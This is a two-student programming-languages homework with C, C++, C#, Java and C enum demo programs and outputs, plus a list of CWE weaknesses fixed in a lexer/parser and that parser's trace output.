Winston Shih (WXS190012)
Satyam Garg (SXG210250)
CS 4337.004

CS 4337 HW 4

1.

In C, the rule for widening conversion hierarchy is char→int→long→float→double, which shows C allows implicit widening conversions. C++ inherits C's widening rules but has compiler warnings when data loss occurs. It has a similar widening conversion hierarchy as C: short→int→long→float→double. However, C++ 11's uniform initialization syntax with braces prohibits narrowing conversions during compilation to enhance type safety. C# has a strict implicit widening hierarchy: byte→short→int→long→float→double. C# allows implicit widening conversions if no data loss occurs to maintain type safety by requiring explicit casts for conversions that might cause data losses. Java has the implicit widening conversion hierarchy of byte→short→int→long→float→double. Boolean data types in Java have no implicit widening conversions with numeric data types.

C allows implicit narrowing conversion without explicit casts, which means a conversion , like int to char, can cause data truncation without warning. This means programmers have responsibility to make sure narrowing conversions done in C are done correctly. C++ has backwards compatibility with C and also allows implicit narrowing conversions, but its modern compilers can warn about potential data losses. C++ 11's brace initialization feature can cause compilation errors if narrowing happens in braces. C# bans implicit narrowing conversions by requiring all narrowing conversions to use explicit cast syntax with parentheses to prevent data loss during conversions. Java has a similar approach to implicit narrowing like C#. Java requires explicit casts for all narrowing conversions and its syntax is (type) value. However, Java lacks a built-in overflow checking mechanism (C# uses 2's complement to address narrowing conversions that overflow [numeric value outside a data range]).

For implicit conversions, C's compiler applies integer promotions and arithmetic conversions in expressions, while assignment/parameter conversions are applied to simple assignments and calls. Widening and narrowing conversions are usually allowed implicitly. C++ generally allows implicit conversions for widening and narrowing except for brace list initialization that uses narrowing conversions. C# has alist of implicit numeric conversions that can not loss magnitude or sign information: int→long→double or byte→short→int→long→float→double. Java implicitly allows automatic widening like byte→short→int→long→float→double or char→int→long→float→double.

For explicit conversions, C uses a cast (T) expr forces conversions between arithmetic types, pointers, and integers that are not done implicitly, but conversions could fail if the resulting value of conversions violates constraints on aliasing and alignment. In C, there are no object model conversions. In C++, casts like static_cast,

dynamic_cast, const_cast, and reinterpret_cast can perform narrowing conversions or conversions prohibited by list initialization. C# has explicit numeric narrowing conversions that use explicit casts to prevent overflow conversions from losing precision or be truncated at runtime. In Java, explicit conversions are performed when primitive conversions that may lose its information (like double to float) or have its value out of range needs an explicit cast. For these conversions, the result of a conversion of integers is reduced by using modulo of destination range. For floating point, the result of an explicit conversion is rounded.

C#:

Main.cs

```
// test_cs.cs
// Simple tests to observe C# type compatibility rules.
// Compile with: csc test_cs.cs  (Microsoft C# Compiler) or use `dotnet` tooling
using System;
using System.Collections.Generic;

class Base { }
class Derived : Base { }

class TestCS {
    static void Main() {
        int i = 42;
        long l = i; // implicit widening
        Console.WriteLine($"int {i} -> long {l}");

        long L = 10000000000L;
        // int k = L; // compile-time error: cannot implicitly convert long to int
        int k = (int)L; // explicit cast required (possible overflow)
```

Output

```
int 42 -> long 42
long 10000000000 -> int 1410065408 (after cast)
boxed 5 -> unboxed 5

=== Code Execution Successful ===
```

Main.cs

```
        int k = (int)L; // explicit cast required (possible overflow)
        Console.WriteLine($"long {L} -> int {k} (after cast)");

        object o = 5; // boxing
        int unboxed = (int)o; // unboxing (must match boxed type)
        Console.WriteLine($"boxed 5 -> unboxed {unboxed}");

        // invalid unbox would compile but throw at runtime:
        // object s = "hello"; int bad = (int)s; // InvalidCastException at runtime

        Derived d = new Derived();
        Base b = d; // upcast (implicit)
        // Derived d2 = b; // compile error: cannot implicitly convert Base to Derived
        Derived d2 = (Derived)b; // downcast requires explicit cast

        // generics invariance
        List<Derived> ld = new List<Derived>();
```

Main.cs

```
        Console.WriteLine($"boxed 5 -> unboxed {unboxed}");

        // invalid unbox would compile but throw at runtime:
        // object s = "hello"; int bad = (int)s; // InvalidCastException at runtime

        Derived d = new Derived();
        Base b = d; // upcast (implicit)
        // Derived d2 = b; // compile error: cannot implicitly convert Base to Derived
        Derived d2 = (Derived)b; // downcast requires explicit cast

        // generics invariance
        List<Derived> ld = new List<Derived>();
        // List<Base> lb = ld; // compile error: cannot convert List<Derived> to List<Base>
        IEnumerable<Base> ie = ld; // allowed: IEnumerable<T> is covariant (out T)
    }
}
```

Java:

TestJava.java

```
// TestJava.java
// Simple tests to observe Java type compatibility rules.
// Compile with: javac TestJava.java
import java.util.*;

class Base { }
class Derived extends Base { }

public class TestJava {
    public static void main(String[] args) {
        int i = 42;
        double d = i; // widening allowed
        System.out.println("int " + i + " -> double " + d);

        double e = 3.14;
        int j = (int)e; // narrowing requires cast
        System.out.println("double " + e + " -> int " + j + " (after cast)");

        Derived der = new Derived();
        Base b = der; // upcast allowed
        // Derived d2 = b; // compile-time error: incompatible types
        Derived d2 = (Derived)b; // requires cast

        Derived[] darr = new Derived[1];
        Base[] barr = darr; // arrays are covariant in Java
```

input

```
int 42 -> double 42.0
double 3.14 -> int 3 (after cast)
ArrayStoreException observed when storing Base into Derived[] via Base[] reference
```

TestJava.java

```java
        System.out.println("int " + i + " -> double " + d);

        double e = 3.14;
        int j = (int)e; // narrowing requires cast
        System.out.println("double " + e + " -> int " + j + " (after cast)");

        Derived der = new Derived();
        Base b = der; // upcast allowed
        // Derived d2 = b; // compile-time error: incompatible types
        Derived d2 = (Derived)b; // requires cast

        Derived[] darr = new Derived[1];
        Base[] barr = darr; // arrays are covariant in Java
        try {
            barr[0] = new Base(); // ArrayStoreException at runtime
        } catch (ArrayStoreException ex) {
            System.out.println("ArrayStoreException observed when storing Base into Derived[] via
        }

        List<Derived> ld = new ArrayList<>();
        // List<Base> lb = ld; // compile-time error: incompatible types (generics are invariant)
        List<? extends Base> wildcard = ld; // use wildcard covariance for reading
    }
}
```

C:

main.c

```c
/* test_c.c
 * Simple tests to observe C type compatibility rules.
 * Compile with: gcc -Wall test_c.c -o test_c.exe
 */
#include <stdio.h>

int main(void) {
    int i = 42;
    double d = i; /* implicit widening: int -> double (allowed) */
    printf("int i = %d -> double d = %f\n", i, d);

    double e = 3.14;
    int j = (int)e; /* narrowing requires explicit cast to avoid warning
        /precision loss */
    printf("double e = %f -> int j = %d (after cast)\n", e, j);

    unsigned int ui = 0u;
    int negative = -1;
    ui = negative; /* allowed, but results in wrap (implementation-defined
        behavior printed) */
```

Output

```
int i = 42 -> double d = 42.000000
double e = 3.140000 -> int j = 3 (after cast)
assign -1 to unsigned -> ui = 4294967295
arr[0] via int* from void* = 1


=== Code Execution Successful ===
```

main.c

```c

    unsigned int ui = 0u;
    int negative = -1;
    ui = negative; /* allowed, but results in wrap (implementation-defined
        behavior printed) */
    printf("assign -1 to unsigned -> ui = %u\n", ui);

    int arr[3] = {1,2,3};
    void *pv = arr; /* object pointer to void* implicit in C (allowed) */
    int *pi = pv; /* implicit void* -> int* is allowed in C */
    printf("arr[0] via int* from void* = %d\n", pi[0]);

    /* The following examples would be illegal (compile errors) in C if
        uncommented:
    int *bad = 5; // error: integer to pointer without cast (not allowed)
    double *dp = &e; int *ip = dp; // incompatible pointer types (should cast)
    */

    return 0;
}
```

C++:

main.cpp

```cpp
/* test_cpp.cpp
 * Simple tests to observe C++ type compatibility rules.
 * Compile with: g++ -Wall test_cpp.cpp -o test_cpp.exe
 */
#include <iostream>
using namespace std;

int main() {
    int i = 42;
    double d = i; // implicit widening allowed
    cout << "int i = " << i << " -> double d = " << d << endl;

    double e = 3.1415;
    int j = (int)e; // explicit cast for narrowing
    cout << "double e = " << e << " -> int j = " << j << " (after cast)" <<
        endl;

    int arr[3] = {1,2,3};
    void* pv = arr;
    // In C++ implicit void* -> int* is NOT allowed without cast; the next line
```

Output

```
int i = 42 -> double d = 42
double e = 3.1415 -> int j = 3 (after cast)
arr[0] via int* from void* (with cast) = 1


=== Code Execution Successful ===
```

main.cpp

```cpp
    int j = (int)e; // explicit cast for narrowing
    cout << "double e = " << e << " -> int j = " << j << " (after cast)" <<
        endl;

    int arr[3] = {1,2,3};
    void* pv = arr;
    // In C++ implicit void* -> int* is NOT allowed without cast; the next line
        would be error:
    // int* pi = pv; // error: ISO C++ forbids converting a void* to int*
        without a cast
    int* pi = static_cast<int*>(pv); // allowed with cast
    cout << "arr[0] via int* from void* (with cast) = " << pi[0] << endl;

    // list-initialization narrowing is forbidden (C++11): uncommenting would
        be an error
    // int x {3.14}; // error: narrowing conversion

    return 0;
}
```

2.

After writing enumeration programs in Java and C, the first difference we found was that Java enums can be defined as classes, while C enums have to be defined as primitive integers constraints. This difference means that Java enums can have fields, constructors, and methods and C enums lack those features, so Java enums are more flexible to use compared to C enums. Another difference is that Java enums have type checking that ensures an operation is not performed on the wrong data type or variables are not assigned values of different data types. C enums do not have type checking so type safety is not enforced and more logic errors tend to occur in C programs compared

to Java programs. The third difference is that Java has built in methods for enums that C does not like values(). Without these built-in functions, C enum relies on manual code implementation of these Java in-built enum methods to find results like an array of all enum constants and their values.

Java:

JavaEnumDemo.java

```java
/**
 * Winston Shih
 * Satyam Garg
 * CS 4337.004
 * CS 4337 HW 4 Question 2 Java Enum
 * Shows the strengths of Java Enums in comparison to C enums.
 */
public class JavaEnumDemo {

    // Difference 1: Java enums can be defined as classes with methods and fields.
    enum Day {
        MONDAY("Start of work week", 1),
        TUESDAY("Second day", 2),
        WEDNESDAY("Midweek", 3),
        THURSDAY("Almost Friday", 4),
        FRIDAY("End of work week", 5),
        SATURDAY("Weekend", 6),
        SUNDAY("Weekend", 7);

```

Output

```
=== Java Enum Demonstration ===

Difference 1: Enums with methods and fields
Today: FRIDAY
Description: End of work week
Day Number: 5
Is Weekend? false

Difference 2: Type Safety
Day: MONDAY, Color: RED
Type safety ensures no mixing of different enum types

Difference 3: Built-in methods
All days using values():
  MONDAY (ordinal: 0)
  TUESDAY (ordinal: 1)
  WEDNESDAY (ordinal: 2)
  THURSDAY (ordinal: 3)
  FRIDAY (ordinal: 4)
  SATURDAY (ordinal: 5)
```

JavaEnumDemo.java

```java

        // Java enums can have fields.
        private final String description;
        private final int dayNumber;

        // Java enums can have constructors.
        Day(String description, int dayNumber) {
            this.description = description;
            this.dayNumber = dayNumber;
        }

        // Java enums can have methods.
        public String getDescription() {
            return description;
        }
        // Returns number associated with day.
        public int getDayNumber() {
            return dayNumber;
        }
        // Returns if day is on weekend.
```

Output

```
Difference 2: Type Safety
Day: MONDAY, Color: RED
Type safety ensures no mixing of different enum types

Difference 3: Built-in methods
All days using values():
  MONDAY (ordinal: 0)
  TUESDAY (ordinal: 1)
  WEDNESDAY (ordinal: 2)
  THURSDAY (ordinal: 3)
  FRIDAY (ordinal: 4)
  SATURDAY (ordinal: 5)
  SUNDAY (ordinal: 6)

Parsed from string: WEDNESDAY

Switch statement example:
TGIF!

=== Code Execution Successful ===
```

JavaEnumDemo.java

```java
        // Returns if day is on weekend.
        public boolean isWeekend() {
            return this == SATURDAY || this == SUNDAY;
        }
    }

    // Difference 2: Java enums are type-safe, which means mixing variables of different data types causes errors.
    enum Color {
        RED, GREEN, BLUE
    }

    public static void main(String[] args) {
        System.out.println("=== Java Enum Demonstration ===\n");

        // Difference 1: Using enum methods and fields
        System.out.println("Difference 1: Enums with methods and fields");
        Day today = Day.FRIDAY;
        System.out.println("Today: " + today);
        System.out.println("Description: " + today.getDescription());
```

JavaEnumDemo.java

Share Run

```java
        System.out.println("Description: " + today.getDescription());
        System.out.println("Day Number: " + today.getDayNumber());
        System.out.println("Is Weekend? " + today.isWeekend());
        System.out.println();

        // Difference 2: Type safety - cannot assign integer or mix enums
        System.out.println("Difference 2: Type Safety");
        Day day = Day.MONDAY;
        Color color = Color.RED;
        // day = color; // Compilation error - type mismatch
        // day = 1; // Compilation error - cannot assign int to enum
        System.out.println("Day: " + day + ", Color: " + color);
        System.out.println("Type safety ensures no mixing of different enum
            types");
        System.out.println();

        // Difference 3: Built-in methods like values().
        System.out.println("Difference 3: Built-in methods");
        System.out.println("All days using values():");
        for (Day d : Day.values()) {
```

JavaEnumDemo.java

Share Run

```java
        for (Day d : Day.values()) {
            System.out.println("  " + d + " (ordinal: " + d.ordinal() + ")");
        }
        System.out.println();

        //  valueOf outputs value of a day enumeration.
        Day parsed = Day.valueOf("WEDNESDAY");
        System.out.println("Parsed from string: " + parsed);
        System.out.println();

        // Switch statement with enums
        System.out.println("Switch statement example:");
        switch (today) {
            case MONDAY:
                System.out.println("Back to work!");
                break;
            case FRIDAY:
                System.out.println("TGIF!");
                break;
            case SATURDAY:
```

JavaEnumDemo.java

```java
        System.out.println();

        // Switch statement with enums
        System.out.println("Switch statement example:");
        switch (today) {
            case MONDAY:
                System.out.println("Back to work!");
                break;
            case FRIDAY:
                System.out.println("TGIF!");
                break;
            case SATURDAY:
            case SUNDAY:
                System.out.println("Weekend time!");
                break;
            default:
                System.out.println("Regular work day");
        }
    }
}
```

C:

main.c

```c
#include <stdio.h>
#include <string.h>
/**
 * Winston Shih (WXS190012)
 * Satyam Garg (SXG210250)
 * CS 4337.004
 * CS 4337 HW 4 Question 2 C Program for Enum
 * This shows the limitations of C enums compared to Java enums.
 */


// Difference 1: C enums CANNOT have fields, methods, or constructors, so we need to implement with structs and manual functions.
enum Day {
    MONDAY,
    TUESDAY,
    WEDNESDAY,
    THURSDAY,
    FRIDAY,
    SATURDAY,
```

Output

```
=== C Enum Demonstration ===

Difference 1: Enums with methods and fields
Today: FRIDAY
Description: End of work week
Day Number: 5
Is Weekend? false
NOTE: C requires separate structs and functions to simulate this!

Difference 2: Type Safety
Day: MONDAY, Color: RED
Assigned integer 1 to day: TUESDAY
WARNING: C does NOT have type safety - mixing types is allowed!

Difference 3: Built-in methods
All days using manual iteration (no values() method):
  MONDAY (ordinal: 0)
  TUESDAY (ordinal: 1)
  WEDNESDAY (ordinal: 2)
  THURSDAY (ordinal: 3)
```

main.c

```c
    SATURDAY,
    SUNDAY
};
// To simulate Java's enum with fields, we need a separate struct to define enum's constants.
typedef struct {
    enum Day day;
    const char* description;
    int dayNumber;
} DayInfo;

// Without constructors, C enums need manual data initialization.
DayInfo dayInfoArray[] = {
    {MONDAY, "Start of work week", 1},
    {TUESDAY, "Second day", 2},
    {WEDNESDAY, "Midweek", 3},
    {THURSDAY, "Almost Friday", 4},
    {FRIDAY, "End of work week", 5},
    {SATURDAY, "Weekend", 6},
    {SUNDAY, "Weekend", 7}
```

Output

```
WARNING: C does NOT have type safety - mixing types is allowed!

Difference 3: Built-in methods
All days using manual iteration (no values() method):
  MONDAY (ordinal: 0)
  TUESDAY (ordinal: 1)
  WEDNESDAY (ordinal: 2)
  THURSDAY (ordinal: 3)
  FRIDAY (ordinal: 4)
  SATURDAY (ordinal: 5)
  SUNDAY (ordinal: 6)

Parsed from string: WEDNESDAY
NOTE: C requires manual string parsing - no built-in valueOf()!

Switch statement example:
TGIF!


=== Code Execution Successful ===
```

main.c

```c
    {SUNDAY, "Weekend", 7}
};
// Gets a description of a day enum constant.
const char* getDescription(enum Day day) {
    return dayInfoArray[day].description;
}
// Gets Day Number of a Enum constant.
int getDayNumber(enum Day day) {
    return dayInfoArray[day].dayNumber;
}
// Returns if a day is on weekend or not.
int isWeekend(enum Day day) {
    return (day == SATURDAY || day == SUNDAY);
}
// Returns name of day enum.
const char* getDayName(enum Day day) {
    switch(day) {
        case MONDAY: return "MONDAY";
        case TUESDAY: return "TUESDAY";
        case WEDNESDAY: return "WEDNESDAY";
```

main.c

```c
        case WEDNESDAY: return "WEDNESDAY";
        case THURSDAY: return "THURSDAY";
        case FRIDAY: return "FRIDAY";
        case SATURDAY: return "SATURDAY";
        case SUNDAY: return "SUNDAY";
        default: return "UNKNOWN";
    }
}
//Returns value of a day enum.
enum Day valueOf(const char* name) {
    if (strcmp(name, "MONDAY") == 0) return MONDAY;
    if (strcmp(name, "TUESDAY") == 0) return TUESDAY;
    if (strcmp(name, "WEDNESDAY") == 0) return WEDNESDAY;
    if (strcmp(name, "THURSDAY") == 0) return THURSDAY;
    if (strcmp(name, "FRIDAY") == 0) return FRIDAY;
    if (strcmp(name, "SATURDAY") == 0) return SATURDAY;
    if (strcmp(name, "SUNDAY") == 0) return SUNDAY;
    return MONDAY;
}
// Difference 2: C enums are not type-safe
```

main.c

```c
// Difference 2: C enums are not type-safe
enum Color {
    RED,
    GREEN,
    BLUE
};

const char* getColorName(enum Color color) {
    switch(color) {
        case RED: return "RED";
        case GREEN: return "GREEN";
        case BLUE: return "BLUE";
        default: return "UNKNOWN";
    }
}
//Main method to demonstrate C enums.
int main() {
    printf("=== C Enum Demonstration ===\n\n");

    // Difference 1: Using simulated enum methods and fields
```

main.c

```c
// Difference 1: Using simulated enum methods and fields
printf("Difference 1: Enums with methods and fields\n");
enum Day today = FRIDAY;
printf("Today: %s\n", getDayName(today));
printf("Description: %s\n", getDescription(today));
printf("Day Number: %d\n", getDayNumber(today));
printf("Is Weekend? %s\n", isWeekend(today) ? "true" : "false");
printf("NOTE: C requires separate structs and functions to simulate this!\n");
printf("\n");

// Difference 2: Type safety.
printf("Difference 2: Type Safety\n");
enum Day day = MONDAY;
enum Color color = RED;
// This works in C, but does not because of lack of type safety.
day = color; // No compilation error even though both variables are integers.
printf("Day: %s, Color: %s\n", getDayName(day), getColorName(color));
// Another example of no type safety.
```

main.c

```c
integers.
printf("Day: %s, Color: %s\n", getDayName(day), getColorName(color));
// Another example of no type safety.
day = 1; // Assigbning integer to enum does not cause compilation error.
printf("Assigned integer 1 to day: %s\n", getDayName(day));
printf("WARNING: C does NOT have type safety - mixing types is allowed!\n");
printf("\n");
// Difference 3: Shows manual implementation of Java enum built in methods.
printf("Difference 3: Built-in methods\n");
printf("All days using manual iteration (no values() method):\n");
// C has no values() method - must iterate manually
for (enum Day d = MONDAY; d <= SUNDAY; d++) {
    // C has no ordinal() method since enum value is the ordinal.
    printf("  %s (ordinal: %d)\n", getDayName(d), d);
}
printf("\n");
// Manual valueOf() implementation in C.
```

main.c

```c
    // Manual valueOf() implementation in C.
    enum Day parsed = valueOf("WEDNESDAY");
    printf("Parsed from string: %s\n", getDayName(parsed));
    printf("NOTE: C requires manual string parsing - no built-in valueOf()!\n"
        );
    printf("\n");
    // Switch statement with enums
    printf("Switch statement example:\n");
    switch (today) {
        case MONDAY:
            printf("Back to work!\n");
            break;
        case FRIDAY:
            printf("TGIF!\n");
            break;
        case SATURDAY:
        case SUNDAY:
            printf("Weekend time!\n");
            break;
        default:
```

main.c

```c
    printf("\n");
    // Switch statement with enums
    printf("Switch statement example:\n");
    switch (today) {
        case MONDAY:
            printf("Back to work!\n");
            break;
        case FRIDAY:
            printf("TGIF!\n");
            break;
        case SATURDAY:
        case SUNDAY:
            printf("Weekend time!\n");
            break;
        default:
            printf("Regular work day\n");
    }

    return 0;
}
```

3.
CWE-787 (Out-of-Bounds Write): This happens when a buffer grows past its storage and clobbers nearby data.
Remediation: addChar() now checks a small MAX_LEXEME_LENGTH value before pushing another character so the lexeme never spills.

CWE-125 (Out-of-Bounds Read): Pulling bytes after the end of the file can leak junk or crash the scan loop.
Remediation: getChar() keeps the raw int returned by ifstream and only copies it to nextChar when it is real data, so EOF is not reused accidentally.

CWE-20 (Improper Input Validation): If the parser keeps going after seeing a random token, the recursive descent state falls apart.
Remediation: statement() now calls error() whenever none of the known starting tokens match, so bad input is rejected right away.

CWE-190 (Integer Overflow or Wraparound): Huge numeric literals may wrap to small negative numbers when converted to int.
Remediation: validateIntLiteral() walks the digits one by one, multiplies by ten, and stops the program if the running value ever beats INT max.

CWE-287 (Improper Authentication): This CWE covers missing identity checks, but the homework scanner never logs users in.
Disposition: No authentication surface exists here, so nothing was changed for this item.

CWE-862 (Missing Authorization): Authorization only matters after an identity is known, which again does not apply to this console parser.
Disposition: The code does not gate privileged actions, so this CWE was documented but needed no code edits.

Output:

```
Next token is: 56, Next lexeme is #
Enter <program>
Enter <header>
Next token is: 58, Next lexeme is include
Next token is: 29, Next lexeme is <
Next token is: 59, Next lexeme is iostream
Next token is: 27, Next lexeme is >
Next token is: 60, Next lexeme is using
Next token is: 61, Next lexeme is namespace
Next token is: 62, Next lexeme is std
Next token is: 37, Next lexeme is ;
Next token is: 53, Next lexeme is int
Exit <header>
Next token is: 57, Next lexeme is main
Next token is: 25, Next lexeme is (
Next token is: 26, Next lexeme is )
Next token is: 38, Next lexeme is {
Next token is: 53, Next lexeme is int
Enter <statement>
Enter <declaration>
Next token is: 11, Next lexeme is i
Next token is: 52, Next lexeme is ,
Next token is: 11, Next lexeme is j
Next token is: 52, Next lexeme is ,
Next token is: 11, Next lexeme is temp
Next token is: 37, Next lexeme is ;
Exit <declaration>
Next token is: 53, Next lexeme is int
Exit <statement>
Enter <statement>
Enter <declaration>
Next token is: 11, Next lexeme is a
Next token is: 64, Next lexeme is [
Next token is: 10, Next lexeme is 5
Next token is: 65, Next lexeme is ]
Next token is: 20, Next lexeme is =
Next token is: 38, Next lexeme is {
Enter <array>
Next token is: 10, Next lexeme is 10
Next token is: 52, Next lexeme is ,
Next token is: 10, Next lexeme is 2
Next token is: 52, Next lexeme is ,
Next token is: 10, Next lexeme is 0
Next token is: 52, Next lexeme is ,
Next token is: 10, Next lexeme is 43
Next token is: 52, Next lexeme is ,
Next token is: 10, Next lexeme is 12
Next token is: 39, Next lexeme is }
Next token is: 37, Next lexeme is ;
Exit <array>
Exit <declaration>
Next token is: 51, Next lexeme is cout
Exit <statement>
Enter <statement>
```

```
Enter <statement>
Enter <stream>
Enter <output>
Next token is: 42, Next lexeme is <<
Next token is: 12, Next lexeme is "Input list...\n"
Next token is: 37, Next lexeme is ;
Exit <output>
Exit <stream>
Next token is: 63, Next lexeme is for
Exit <statement>
Enter <statement>
Enter <forLoop>
Next token is: 25, Next lexeme is (
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 20, Next lexeme is =
Next token is: 10, Next lexeme is 0
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is i
Enter <boolexpr>
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 29, Next lexeme is <
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 10, Next lexeme is 5
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <boolexpr>
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 33, Next lexeme is ++
Next token is: 26, Next lexeme is )
Exit <assign>
Next token is: 38, Next lexeme is {
Next token is: 51, Next lexeme is cout
Enter <statement>
Enter <stream>
Enter <output>
Next token is: 42, Next lexeme is <<
```

```
Next token is: 42, Next lexeme is <<
Next token is: 11, Next lexeme is a
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is i
Next token is: 65, Next lexeme is ]
Next token is: 42, Next lexeme is <<
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 12, Next lexeme is "\t"
Next token is: 37, Next lexeme is ;
Exit <output>
Exit <stream>
Next token is: 39, Next lexeme is }
Exit <statement>
Next token is: 51, Next lexeme is cout
Exit <forLoop>
Exit <statement>
Enter <statement>
Enter <stream>
Enter <output>
Next token is: 42, Next lexeme is <<
Next token is: 11, Next lexeme is endl
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <output>
Exit <stream>
Next token is: 63, Next lexeme is for
Exit <statement>
Enter <statement>
Enter <forLoop>
Next token is: 25, Next lexeme is (
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 20, Next lexeme is =
Next token is: 10, Next lexeme is 0
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is i
Enter <boolexpr>
```

```
Enter <boolexpr>
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 29, Next lexeme is <
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 10, Next lexeme is 5
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <boolexpr>
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 33, Next lexeme is ++
Next token is: 26, Next lexeme is )
Exit <assign>
Next token is: 38, Next lexeme is {
Next token is: 63, Next lexeme is for
Enter <statement>
Enter <forLoop>
Next token is: 25, Next lexeme is (
Next token is: 11, Next lexeme is j
Enter <assign>
Next token is: 20, Next lexeme is =
Next token is: 11, Next lexeme is i
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 21, Next lexeme is +
Exit <factor>
Exit <term>
Next token is: 10, Next lexeme is 1
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is j
Enter <boolexpr>
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 29, Next lexeme is <
Exit <factor>
Exit <term>
Exit <expr>
```

```
Exit <expr>
Next token is: 10, Next lexeme is 5
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <boolexpr>
Next token is: 11, Next lexeme is j
Enter <assign>
Next token is: 33, Next lexeme is ++
Next token is: 26, Next lexeme is )
Exit <assign>
Next token is: 38, Next lexeme is {
Next token is: 36, Next lexeme is if
Enter <statement>
Enter <ifStatement>
Next token is: 25, Next lexeme is (
Next token is: 11, Next lexeme is a
Enter <boolexpr>
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is j
Next token is: 65, Next lexeme is ]
Next token is: 29, Next lexeme is <
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 11, Next lexeme is a
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is i
Next token is: 65, Next lexeme is ]
Next token is: 26, Next lexeme is )
Exit <factor>
Exit <term>
Exit <expr>
Exit <boolexpr>
Next token is: 38, Next lexeme is {
Next token is: 11, Next lexeme is temp
Enter <statement>
Enter <assign>
Next token is: 20, Next lexeme is =
Next token is: 11, Next lexeme is a
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
```

```
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is i
Next token is: 65, Next lexeme is ]
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is a
Exit <statement>
Enter <statement>
Enter <assign>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is i
Next token is: 65, Next lexeme is ]
Next token is: 20, Next lexeme is =
Next token is: 11, Next lexeme is a
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is j
Next token is: 65, Next lexeme is ]
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is a
Exit <statement>
Enter <statement>
Enter <assign>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is j
Next token is: 65, Next lexeme is ]
Next token is: 20, Next lexeme is =
Next token is: 11, Next lexeme is temp
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 39, Next lexeme is }
Exit <statement>
Next token is: 39, Next lexeme is }
Exit <ifStatement>
Exit <statement>
Next token is: 39, Next lexeme is }
Exit <forLoop>
Exit <statement>
Next token is: 51, Next lexeme is cout
```

```
Next token is: 51, Next lexeme is cout
Exit <forLoop>
Exit <statement>
Enter <statement>
Enter <stream>
Enter <output>
Next token is: 42, Next lexeme is <<
Next token is: 12, Next lexeme is "Sorted Element List...\n"
Next token is: 37, Next lexeme is ;
Exit <output>
Exit <stream>
Next token is: 63, Next lexeme is for
Exit <statement>
Enter <statement>
Enter <forLoop>
Next token is: 25, Next lexeme is (
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 20, Next lexeme is =
Next token is: 10, Next lexeme is 0
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <assign>
Next token is: 11, Next lexeme is i
Enter <boolexpr>
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 29, Next lexeme is <
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 10, Next lexeme is 5
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 37, Next lexeme is ;
Exit <factor>
Exit <term>
Exit <expr>
Exit <boolexpr>
Next token is: 11, Next lexeme is i
Enter <assign>
Next token is: 33, Next lexeme is ++
Next token is: 26, Next lexeme is )
Exit <assign>
Next token is: 38, Next lexeme is {
Next token is: 51, Next lexeme is cout
Enter <statement>
```

```
Next token is: 33, Next lexeme is ++
Next token is: 26, Next lexeme is )
Exit <assign>
Next token is: 38, Next lexeme is {
Next token is: 51, Next lexeme is cout
Enter <statement>
Enter <stream>
Enter <output>
Next token is: 42, Next lexeme is <<
Next token is: 11, Next lexeme is a
Enter <expr>
Enter <term>
Enter <factor>
Next token is: 64, Next lexeme is [
Next token is: 11, Next lexeme is i
Next token is: 65, Next lexeme is ]
Next token is: 42, Next lexeme is <<
Exit <factor>
Exit <term>
Exit <expr>
Next token is: 12, Next lexeme is "\t"
Next token is: 37, Next lexeme is ;
Exit <output>
Exit <stream>
Next token is: 39, Next lexeme is }
Exit <statement>
Next token is: 54, Next lexeme is return
Exit <forLoop>
Exit <statement>
Enter <statement>
Next token is: 10, Next lexeme is 0
Next token is: 37, Next lexeme is ;
Next token is: 39, Next lexeme is }
Exit <statement>
Next token is: -1, Next lexeme is EOF
Next token is: -1, Next lexeme is EOF
Exit <program>


...Program finished with exit code 0
Press ENTER to exit console.
```

Code modifications:
Line 30: Added #include <limits> (new include)
